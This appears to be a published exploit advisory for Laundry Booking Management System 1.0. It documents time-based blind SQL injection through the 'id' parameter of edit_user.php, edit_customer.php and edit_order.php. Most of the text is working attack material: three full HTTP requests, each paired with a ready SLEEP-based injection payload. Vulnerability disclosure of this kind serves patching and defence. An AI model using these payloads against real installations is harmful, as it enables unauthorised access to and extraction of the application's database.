Laundry Booking Management System 1.0 SQL Injection

`# Exploit Title: Laundry Booking Management System 1.0 - 'Multiple' SQL Injection  
# Date: 2021-08-19  
# Exploit Author: Azumah Foresight Xorlali  
# Vendor Homepage: https://www.sourcecodester.com/php/14400/laundry-booking-management-system-php-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14400&title=Laundry+Booking+Management+System+in+PHP+with+Free+Source+Code  
# Version: Version 1.0  
# Category: Web Application  
# Tested on: Kali Linux  
  
Description:  
Laundry Booking Management System 1.0 application is vulnerable to SQL  
injection via the "id" parameter, which was not properly checked on the  
[edit_user.php,edit_customer.php,edit_order.php] page.  
  
#Vulnerable Request when logged in as a user with Supervisor or Manager:  
POST /laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_user.php?id=7  
Content-Type: multipart/form-data;  
boundary=---------------------------851226474159708868105526498  
Content-Length: 1408  
Connection: close  
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r  
Upgrade-Insecure-Requests: 1  
  
  
---  
Parameter: id (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=7' AND (SELECT 5999 FROM (SELECT(SLEEP(5)))BOpa) AND  
'voSh'='voSh  
---  
  
-----------------------------------------------------------------------------------------------------------------------  
  
  
#Vulnerable Request when logged in as Admin:  
POST /laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_customer.php?id=1  
Content-Type: multipart/form-data;  
boundary=---------------------------17781030011592905058578147050  
Content-Length: 767  
Connection: close  
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r  
Upgrade-Insecure-Requests: 1  
  
---  
Parameter: id (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=1' AND (SELECT 6874 FROM (SELECT(SLEEP(5)))ZCjC) AND  
'GIau'='GIau  
---  
  
-----------------------------------------------------------------------------------------------------------------------  
  
#Vulnerable Request when logged in a Admin:  
POST /laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101  
Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer:  
http://localhost/laundry_sourcecode/laundry_sourcecode/edit_order.php?id=18  
Content-Type: multipart/form-data;  
boundary=---------------------------167059892515401580571429373524  
Content-Length: 886  
Connection: close  
Cookie: PHPSESSID=dih37knpkeb9hc1qtk56godb5r  
Upgrade-Insecure-Requests: 1  
  
  
---  
Parameter: id (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: id=18' AND (SELECT 8201 FROM (SELECT(SLEEP(5)))odDG) AND  
'wCli'='wCli  
---  
`